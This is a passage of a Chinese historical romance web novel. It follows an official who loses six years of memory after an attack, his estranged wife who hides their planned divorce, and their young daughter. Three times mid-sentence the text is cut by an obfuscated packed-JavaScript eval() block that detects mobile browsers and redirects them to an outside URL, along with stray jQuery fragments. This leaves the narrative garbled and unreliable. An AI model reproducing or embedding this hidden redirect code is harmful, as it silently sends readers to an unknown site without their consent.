苏见微却没看他,而是看向大夫道:“这儿以前的确是公公起居之所,大夫想必也知道,我公公在四年前病故,过了两年,夫君为办公方便,就搬到了这里。” 陆绍宁听闻此言,神色大惊。 焦大夫看向他,问:“大人知道此事吗?” 陆绍宁回道:“不知。”说完问苏见微:“父亲亡故了?四年前?这是什么意思?” 焦大夫又问:“那大人也知道自己是谁?这位是谁?”他指向苏见微。 陆绍宁很快回答:“我是陆家长子,字承安,今年二十一,去年中进士,如今正在翰林院供职,这位是我妻子,为城东苏家长女,我二人成婚半月。” 他回得十分清晰,也让焦大夫与苏见微立刻明白了情况:他的记忆里,丢失了将近六年的时间! 苏见微的神色很忧心,不知这代表什么,陆绍宁看着二人神色,不知道自己出了什么问题,便问:“怎么了?” 他问着,看向苏见微,苏见微回道:“夫君说的,是六年前,如今我们已成亲六年,公公离世,婆婆不忍独居,去了相国寺修行,夫君也不在翰林院,在大理寺任寺丞,前夜不知为何独自出去,遇袭受伤,在床上躺了两日,此时才醒。” 陆绍宁目光怔怔,似乎难以接受这样的事。 焦大夫将一只手伸出来问:“大人可识得这是几?” 陆绍宁虽震惊,却也知道大夫正在判断自己的情况,很快收回情绪,认真答道:“五。” 大夫又指自己身上的衣服:“这是什么颜色?” “青色。” “夫人身上呢?” “竹青。” “大人将右手握成拳头。” 陆绍宁照做。 “五指张开。” 陆绍宁仍然顺利完成。 大夫看向苏见微,道:“劳烦夫人拿一本书来。” 陆绍宁床边就放着书,苏见微挑出一本《资治通鉴》来递给大夫。 大夫随后翻开一页,朝陆绍宁道:“大人可否将这一页文字念出来?” 这是他几乎会背的一页,陆绍宁也是不费吹灰之力,将文字念出。 念了一段,大夫便道:“好了。”将书拿回来交与苏见微,又问:“除了头疼,大人可还有哪里不舒服?” 陆绍宁道:“左肩,胳膊肘和腿,后背似乎也疼。” 两人都知道他左肩中暗器,胳膊肘划了道口子,腿有青紫和擦伤,后背也有撞击伤,这些伤虽没脑后伤那么严重,但疼是肯定的。 大夫又把过脉,说道:“眼下所看,陆大人除了失去六年记忆,没有别的不适,余下只等继续恢复。” 苏见微问出了陆绍宁想问的话:“那我家夫君的记忆该怎么恢复呢?” 焦大夫回道:“关于这点,恐怕不只是老朽,孙院正也毫无办法,也许假以时日能好,也许一辈子也不会好,又也许,还有别的症状会显露,只看之后数月病情又会如何。” 苏见微此时明白了,对于脑子里的病,大夫无能为力。他们只能治后脑的外伤,至于其它,便只能听天由命,看陆绍宁自己的造化。 苏见微很快想,失去六年记忆,在日常琐事上好像没什么大的影响,可陆绍宁的官职仕途呢?这会不会影响他的能力和判断,让太后觉得他无法胜任大理寺丞一职,从而再将他调回翰林院? 那对他来说,无疑是致命的打击。 但从他的角度想,他并没有升任大理寺丞的记忆,也许没那么难受? 此时焦大夫道:“大人既已醒来,就可以让人去煎药了,大人先吃些东西,再喝药。” 苏见微想了起来,连忙应下,然后朝大夫道:“夫君虽已醒来,但今夜天色已晚,又恐晚上有意外,还须劳烦大夫在府上再住一夜,换洗衣服之类,我让人去大夫家中取来。” 焦大夫点头答应,又看了看陆绍宁,这才离去。 苏见微问陆绍宁:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529811|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿了吗?想吃些什么?粥?” 陆绍宁在伤中,自然没什么胃口,但确实能感觉到腹中空空如也,只想喝点粥。 苏见微说道:“厨房备着鸡丝粥,我让人端来。” 陆绍宁又“嗯”了一声,苏见微吩咐下去,随后又看向他:“粥大概无须太久,要不要先靠一会儿?” “好。”他答。 她便在他身后放了靠枕,扶他靠着。 陆绍宁顺势拉住她的手:“你一直守在我床边?眼睛都熬红了。” 苏见微有些错愕,几乎想抽出手,却又觉得不合时宜,哪怕他没失忆他们也是夫妻,没必要如此泾渭分明。 她便没有动,任他握着自己的手,带着几分客气道:“你能安然醒来就好。” 这是事实,也是此情此境应该说的话,陆绍宁却觉出她的贤惠关心,回道:“出这样的事,让你受累了。” 苏见微不知能说什么。 他又问:“我父亲是怎样离世的?生病还是……” 苏见微回道:“是生病,脑疾,病来得快,人也走得急,从病发到离世,不过半月。好的是人没怎么受罪。” 听闻父亲离世的情况,陆绍宁神色黯然,一言不发。 苏见微安慰道:“父亲走的时候,你一直陪伴左右的,应该是该说的话都说了,不曾留遗憾。” “可惜,我此时竟都忘了,这样大的事都忘了。”陆绍宁失落道。 “会想起来的,明日再让孙院正来看看。” 好一会儿,他才问:“那母亲呢?” 苏见微说:“父亲离世后,母亲哀伤,不愿睹物思人,就执意搬去了相国寺做居士,青灯古佛,过得十分清俭,但也安逸。” “相国寺……”陆绍宁又是沉默不语。 怕他担心,苏见微继续道:“我每月会去看她,看看她可有缺衣少食,杜妈妈也陪在她身边,只是这一回你受伤,我怕母亲无端忧心,就没让人去通禀。” 陆绍宁看向她:“确实不必去通禀,徒劳她挂心。” 他想了想,又问:“既然父亲离世,我该守孝,为何又升了职?” 苏见微想他大概迅速就收拾了情绪,察觉到了里面的逻辑,便解释道:“夫君的确上报了孝期,才守孝数月,恰逢先皇驾崩,当今皇上、也就是之前的太子登基,曾经的申皇后做了太后。 “那时正好出了一宗谋逆案,牵连好多老臣,朝廷职位空虚,太后便亲自下了懿旨让夫君夺情上任,且直接升任大理寺正,又过两年,升任大理寺左丞。 “如今的大理寺卿是申怀仁大人,大理寺少卿为李钦大人,大理寺右丞名为周显阳,前日得知夫君受伤后来探望过。” “申怀仁,那是皇……太后的堂兄。” 而李钦,资历虽老,却是万事不沾身,所以如今的大理寺便全掌控在申怀仁手中,也就是太后手中。 陆绍宁沉默不语,苏见微问:“这些事,夫君有印象吗?” 陆绍宁轻轻摇头:“没有,记不起分毫。” 看着他,苏见微几乎就想问:“那你记得你新收的蓁蓁姑娘吗?还有醉花楼那个给你写诗的花魁娘子红颜知己?” 但这话太小性,他又在伤中,还不知后面是什么情况,她忍着什么都没说。 5. 第 5 章 陆绍宁问:“除此之外,还有其他大事吗?” 苏见微回忆这些年的事,黯然道:“四皇子因伤寒病故,我姑姑苏贵妃没多久也去世了,还早于先皇驾崩,待先皇驾崩,我父亲就受贬去了岭南;这两年许多人都受贬或是伏诛,譬如襄王、梁王、吴王,都因谋逆而受处决;另有小叔在京郊虎贲营中任校尉,偶尔才回来,这次夫君受伤我也不曾专门去告知,只待夫君情况稳定再说。” 陆绍宁迅速接收着这些消息,判断时局的变化,随后拉起她的手,安慰道:“原来短短几年发生这么多事,官员受贬是常事,岳父日后还有机会回来的。” 苏见微心头一怔,当初她姑姑离世,苏家败落,父亲受贬,他是不曾有过安慰的,甚至很快他就站到了皇后那一派,成为皇后的宠臣,她当然也曾失落过,没想到时隔三年,他倒说了这样的话。 她不知该用怎样的态度应对,只好低下头去,似乎是伤心落寞。 陆绍宁握着她的手迟迟没有松开,两人彼此陪伴着经历了这些,大有一种同舟共济的意味。 直到外面传来动静他才将手松开,是下人端着粥来了,苏见微也抬起头来接过粥,然后递给他,说道:“不烫,是温的,你吃一点吧。” 陆绍宁动了动胳膊,回道:“胳膊肘疼。” 苏见微迟疑一下,“那……” “你喂我吧。”陆绍宁说。十分自然,又带着几分亲昵。 苏见微很不适应,但心想,好歹他们还是夫妻,他也确实不方便,喂就喂吧。 便端了粥碗,一勺一勺喂他。 陆绍宁吃得不多,吃了大半碗便不吃了,又喝了几口汤,似乎头疼,让她扶他半躺着。 发生了太多的变化,他一时半会儿难以接受,如此沉默着躺了一会儿,才又问:“你说我是因何受伤?” 苏见微说道:“你前夜独自一个出去,不知是遇了刺客还是怎么,摔落飞虹桥,正好被巡城禁军撞到,将你救了回来,发现你身中暗器,周显阳大人说是袖箭,但目前还不知是什么人做的。” 虽说过去的事是大事,可那些事都过去了,眼前的事才是最要紧的。 陆绍宁疑惑道:“我夜里独自一人出去?去做什么?谁也没带?” “是,谁也没带,永兴在偏房值夜,你出去他也不知道。”苏见微说。 陆绍宁又问:“也没和你说?我起身你也不知?” 很明显他大约以为两人睡在一起,他是从她身边起身离开的,苏见微提醒:“你在这里就寝,我那时已回了暗香馆,你没同我说。” 陆绍宁这才想起来自己现在在起云堂,不在两人的新房。 她之前也对大夫说了,他忙于公事,就搬到了起云堂。 陆绍宁带着几分歉疚温声道:“辛苦你了,既是太后当政,我又才升职,想必日夜忙公事,家事全靠你操劳。” 这倒说的是真的,她发现他果真很聪明,就算是失忆,也能在知晓现状后迅速判断出眼下的形势,她没说过太后当政,他却已猜到了。 怕他思虑太多,她问:“要不要睡一会儿,眼下最重要是养伤。” 陆绍宁回答:“睡也睡不着,你睡吧,我一直在睡,倒是你想必一直没合眼。” “我还好,眼下还早,待晚一些再睡。她说。 这会儿柳语过来,问苏见微道:“夫人,奶娘说小七今日下午可能是吹了风,有些流鼻涕,晚上咳了两声,要不要喂些药?” 苏见微道:“就喂些琵琶露吧,明日看看情况。她还没睡么?” “就要睡了,入夜说要见夫人,闹了一会儿。” “好,让她快睡吧,越是不舒服越要多睡一会儿。” 柳语领命下去了,陆绍宁看向她问:“小七是谁?” 苏见微平静回答:“是我们的女儿,今年五岁。” 陆绍宁微惊,马上拉着她问:“你刚才怎么没说我们有女儿了?” 苏见微无话可说,她确实没想到小七,因为她觉得陆绍宁首要关心的当然是自己在意的大事,他从不在意小七,说来做什么? 半晌她才道:“还没来得及,今日中午奶娘带她来看过一次,怕她吵闹,又将她抱走了。” “她咳嗽,又要睡了?”陆绍宁问,随后道:“你若早说,我便见见她。” 突然失去了六年,他难以想象自己的女儿长什么模样。 苏见微道:“那明日一早我让奶娘带她过来。” “那是自然。”陆绍宁道,随即似乎不可置信地喃喃道:“我竟都有女儿了……不知她长什么模样。” 苏见微不说话。 他又问:“你说她五岁?是虚岁五岁了?” “是满五岁了,虚岁六岁。” “那就是我们才成婚就有了她?”他问。 苏见微点头:“差不多成婚两三个月怀上的。” 陆绍宁露出轻柔的笑来,相比刚才父亲离世、母亲离家的哀伤,先皇驾崩、自己遇袭的紧张形势,这算是最好的消息。 不管怎么说,身居高位、妻儿相伴,这未来的一切,似乎正是自己想要的。 两人又坐了一会儿,苏见微又说了些身边发生的事,陆绍宁多问了一些,到夜深,毕竟是重伤,陆绍宁累了,苏见微也累了。 苏见微道:“我去旁边榻上躺一躺,再让你熟悉的珍珠在你床前看着,你有事便叫人。” 陆绍宁拉住她道:“那榻上不舒服,要不然你就睡在我身旁?” 苏见微心中竟涌起几分尴尬,马上道:“你有伤,别让我撞着了你,那榻还好,我之前躺过,不觉得不舒服。” 陆绍宁惭愧又无奈地朝她道:“那你好好休息,不必担心我。” 苏见微看他一眼,将丫鬟叫来值夜,自己去了隔间的睡榻上休息。 其实这几日都很累,当然困乏,可如今躺着,却睡不着。 陆绍宁醒来了,却失忆了。 竟会失忆,怎么会失忆呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529812|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她大概能揣摩到他的心理,自己从重伤中醒来,见到新婚燕尔的妻子寸步不离守着自己,得知时间已经过去六年,两人一同经历许多风雨,又已有女儿,可想而知,感情十分真挚。 甚至他们真实的情况,许多府中下人都是不知道的,毕竟他们从未起争执,只是疏离不说话而已。 如今他这样,那她又该如何呢? 他还要养伤,还不知记忆什么时候能恢复,他被什么人袭击也毫无眉目,所以她不能贸然告诉他两人准备和离的,也没必要,当务之急,就是让他快点养好伤。 但是,她也不能过于沉溺,他伤了脑子,她没伤,若她当了真,有一日他恢复了记忆,那岂不是个笑话? 所以她只能任由他误会着,还是承担着妻子的职责照顾他,至少待他头上的伤好了再说。 陆绍宁毕竟是受了伤,比她睡着得快一些,她知道多想也是无益,只好强迫自己尽快睡去。 翌日一早,苏见微要去暗香馆洗漱,换一身衣服,陆绍宁提醒道:“若小七醒了,你就带她过来。” 苏见微点头答应。 小七是个十分乖巧的孩子,每日起居都有规律,她过去时,小七已经起来了,坐在床上让奶娘在梳辫子,看见她,欢喜地叫了一声“娘”,伸手要抱她。 苏见微这几日照顾陆绍宁,几乎没有管她,此时也思念心切,过去将她紧紧抱住。 “小七昨晚睡得怎么样?还咳吗?” 奶娘回道:“昨晚喝了枇杷露,今日一早起来没听见咳,大概是好了。” “那就好。”苏见微看着女儿道:“你一生病娘就忧心,如今大了,病也容易好了。”说着摸了摸她头上的辫子:“这绢花扎在我们小七头上真好看,等你梳了头,吃点东西,娘带你去看爹爹,爹爹醒过来了。” 小七乖乖地点头。 苏见微自去梳洗换了衣服,等她弄好,小七也吃了两个包子,她便带着女儿去往起云堂。 走到半路,她想了想,说道:“待会见了爹爹,就叫他。” “嗯。”小七认真地点头,脸上却带着几分不安和胆怯。 她和陆绍宁见面实在太少了,甚至陆绍宁几乎没抱过她,更别提逗她、带她玩耍,偶有的几次见面也是神色疏离严肃,小七对父亲的印象,大概和族里的什么四叔、五爷爷差不多,只是一个认识的符号而已。 到起云堂,苏见微牵着女儿入内,陆绍宁正坐在床头,似乎早已等着她们,待两人一进门,他的目光就直直投向小七,一动不动看着。 小七被牵着走到床边,还记得娘亲的话,轻声道:“爹爹。” 陆绍宁说不出这一刻的感受,他明明才成婚,却已有了个这么大的女儿;女儿都这么大了,他却连她如何出生、如何长大都忘了。 他伸出手,试探地拉起女儿的小手,生疏地喊她:“小七。” 这时他想起了什么,问苏见微:“她叫小七,是因为出生在七月么?” 6. 第 6 章 苏见微点头:“是的,七月初七。” 陆绍宁一怔,“那岂不是就在两日前,是我受伤那一天?” “嗯,是的。” 陆绍宁看着小七一笑:“爹爹受了伤,都忘了,原来小七满五岁了,生日是怎么过的?” 小七回答:“和萍姐姐一起玩,还吃了雪酥山,还打了耳洞,娘说我以后就可以戴好看的耳环了。” 陆绍宁看看她小小的耳朵,笑道:“小七喜欢什么样的耳环,爹爹到时给你买。” 爹爹从未和她说过这么多话,也没这样对她笑过,更没说过要给她买什么,小七有点好奇,又有点高兴,歪了头一动不动看着他。 陆绍宁一直拉着小七的手,忍不住摸了摸她柔软的头发,又摸了摸她小巧的脸蛋,她实在是个好看的小女孩,眉清目秀,看着是那种文静乖巧的性子。想来他和苏见微的女儿,大概就该是这模样。 他问:“小七的大名是什么?” 苏见微平静道:“还没取。” 陆绍宁吃惊:“还没取吗?怎么没取呢?” 苏见微沉默,她也不知道。 当初还在孕中,他就开始忙公务,时常晚归,也偶尔睡在书房,有一回她见他回得早,就问他,陆家大伯的孙子刚取了大名,单名一个“锋”,自家孩儿是不是也要取单字,从“金”字,他那时只淡声回:“到时候再说吧。” 然后就没了下文。 而她也从他这语气中看见了不耐和敷衍,从此再没提过此事。 直到女儿出生,那时他正好陪先皇去避暑,一去四个月,女儿出生那日是七月初七,她就暂且取了小名小七,等着他回来取名,但他回来,也没有想起名字之事,她心里早有怨气,便也没主动提,加之取大名本就不着急,于是一直拖到了现在。 如今想来,其实早在孕中,他就已态度冷淡了,无论对她还是对女儿。 往事在心底浮现,她有些淡淡的郁气,却没表现出来,只是平静回道:“没想到好的,女孩子也不着急。” 陆绍宁道:“该取了,女孩也要读书,咱们的女儿哪能不识字?等我养好了伤,或是将她送族学与族中子弟一起读书,或是另请合适的先生,既然读书,就要先取了大名。” 苏见微不由看他一眼。 她也想着该让小七读书识字了,但在安排这事之前,先向陆绍宁提了和离。 于是那一晚,她打算带小七去睦州,请先生在家中教,也想好了取名的事,名字还没定,但应该是直接让她随自己姓苏了。 陆绍宁不知她心中所想,一边看着小七,一边若有所思,再对小七笑道:“待会儿我拿来《诗经》,《楚辞》,还有几篇赋文,给咱们小七取个好名字。” 小七静静看着他,问:“爹爹的伤好了吗?” 小小的人儿用软糯的话关心自己,陆绍宁第一次有一种享受天伦的愉悦,回道:“好了一点,还没完全好,待完全好了,爹爹带你出逛庙会。” “好,我喜欢逛庙会,有小猴子推车,还有观音跳舞。” 陆绍宁又笑了:“观音跳舞,这是现在的杂戏?这些伶人真能折腾新把戏,爹爹都没见过。” “爹爹的头疼吗?”小七又问。 她没见过人将头包扎起来,所以一直盯着陆绍宁头上缠着的纱布看。 陆绍宁说道:“有一点,但和小七说话就不疼了。” “爹爹要少说话,多睡觉,娘说的,病了就要多睡觉。” 陆绍宁看看苏见微,笑道:“爹爹这几天都在睡觉,所以好多了。” 他与小七说了好半天话,直到丫鬟说萍萍来找小七玩,小七高兴地往外挪了一步,却又回过头来看向陆绍宁,似乎在犹豫,好似小小的她已经能判断出这时候跑出去玩不太好。 陆绍宁将她的神情尽收眼底,好笑地摸着她头道:“快去玩吧,待会儿太阳大了记得回阴凉地方,别在外面晒。” “嗯。”小七便拉着奶娘出去了。 陆绍宁看着她的身影,直到她彻底离开视线。 他低声道:“原来我的女儿是这个样子。” 苏见微问他:“是夫君想象中的样子吗?” 陆绍宁回道:“以前倒没想过有女儿会长什么样,现在想,大约就是小七的模样吧,眉清目秀,聪慧娴静。” “那夫君喜欢她么?”苏见微问。 陆绍宁略微诧异,问她:“这是何意?世上哪有父母不爱子女?”话说完,他却顿了顿,转而缓慢而坚定道:“自然是喜欢的。” 说完看向她:“我见小七对我并不熟悉亲昵,可见以往我定是醉心公务,陪她极少,想必平时都是你在操劳,委屈你了。” 苏见微看向他,好久,才说道:“夫君心系着朝廷大事,我照顾儿女也是应该的。” 陆绍宁朝她伸出手,她犹豫一下,缓缓将手伸了过去。 他将她手牵住,拉着她,让她坐到床边,靠到了自己怀中。 “可到我受伤,衣不解带照顾我的是你,我若有事,孤苦无依的也是妻儿,朝廷那么多官员,等待做官的那么多,哪里又缺我这一个?” 苏见微僵着身子,只轻轻挨着他胸前,不敢将自己完全靠在他身上。 这些话是她以前从没听过的,没想到在决意和离之后,却听他说出。 所以,这是初成婚时他的想法?那是什么,让他变了? 这时陆绍宁不知想起了什么,问:“我们只有一个女儿么?” 苏见微从他怀中起身,缓声道:“只有一个。” 陆绍宁没说话了,苏见微不知为何,也许是觉得失忆后的他热络一些,好说话一些,忍不住问:“夫君是失望了么?” “失望什么?”他问。 她回:“失望只有一个女儿,只有女儿。” 陆绍宁很是奇怪:“这是什么意思?” 苏见微垂头道:“女儿究竟不比儿子金贵。” 陆绍宁马上道:“你这是哪里的话?我们的女儿,哪里不金贵了?” 说完他问:“是母亲和你说什么了吗?还是父亲在世时不高兴了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529813|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏见微很快道:“没有,我只是随口问起。” 事实上,当初小七出生,公婆的态度都淡淡的,那没有什么,因为婆婆一直是那样,好似没有她在意的事;公公呢,她与他见面极少,也不在意,她只在意他这个丈夫的态度,而他则是看上去最冷淡的那一个。 陆绍宁解释道:“我方才那样问,只是有些意外……你我正当盛年,晚上也没闲着,成婚这么久,竟然才一个孩子。” 他说话时脸上带了几分挑弄与促狭,让苏见微十分不适应,几乎尴尬脸红,不由低下头去,口齿都有些不清晰:“我,我也不知道……而且你后来就很忙了,不像之前那样……” 已经走到尽头的夫妻说起这些,实在让人受不了。 “是这样么?我不信,不可能吧?”陆绍宁觉得不可思议,他知道自己的记忆停留在刚成婚时,自己才二十一岁,才入仕途,也一心有所抱负,他在翰林院并不清闲,却仍然很享受与沉溺和妻子的闺房之乐,他不解自己会在六年后变得忙于公务,冷落妻子。 明明此时的自己也不过二十七岁,妻子也是记忆中那温婉聪慧、典雅动人,能有什么不同? 苏见微在和他说这些时,总会无端想起某一日他突然清醒过来,回到那样冷漠、疏离而又威慑的模样,她不想让那时的他觉得她很可笑,所以维持着清醒与端庄,低下头道:“大理寺的职责毕竟重一些。” 陆绍宁想到了自己所住的这间房,这里放着许多书本信件,他用惯的砚台也在这里,衣物也不少,却不见她的,可见他确实常在这里忙公务,竟将她一人扔在暗香馆。 而她言语中仍然温和,没有一丝抱怨。 他叹声道:“我失去了六年,不知道发生了什么,也许是朝局变动让我心忧,也许是一心钻营让我忘记了家人,但以后不会了,人生又有几个六年?以后我会多陪你和女儿。” 苏见微抬眼看他,说不出话来。 此时外面传来脚步声,她连忙往后挪了挪,与他拉开距离。 珍珠进房道:“夫人,大人,外面有大理寺的官员来了,说听闻大人清醒,来探望大人。” 既是大理寺官员,不好不见,苏见微看向陆绍宁,他一早也换了衣服,尚算整齐,只是头部受伤,因此不能束簪,只能披发,她替他将头发理了理,问他:“现在见吗?” 陆绍宁“嗯”了一声,神色严肃了很多。 来的又是周显阳,见陆绍宁醒来,表现得十分欢喜,又问了许多,得知陆绍宁失去六年记忆,震惊又叹息,随后问起他那夜遇袭的事,还说起大理寺里面一些事,见陆绍宁全都不知,便又关心几句,这才离开。 他走后,陆绍宁问苏见微:“我只记得我尚在翰林院他就在大理寺,当时是大理寺正,我调去大理寺后与他关系如何?” 苏见微摇头:“我不知道,夫君在家中很少提朝廷的事。” 这点倒是真的,不管是新婚还是关系冷淡后,他都很少和她说公务上的事。 陆绍宁陷入沉思,不知在想什么。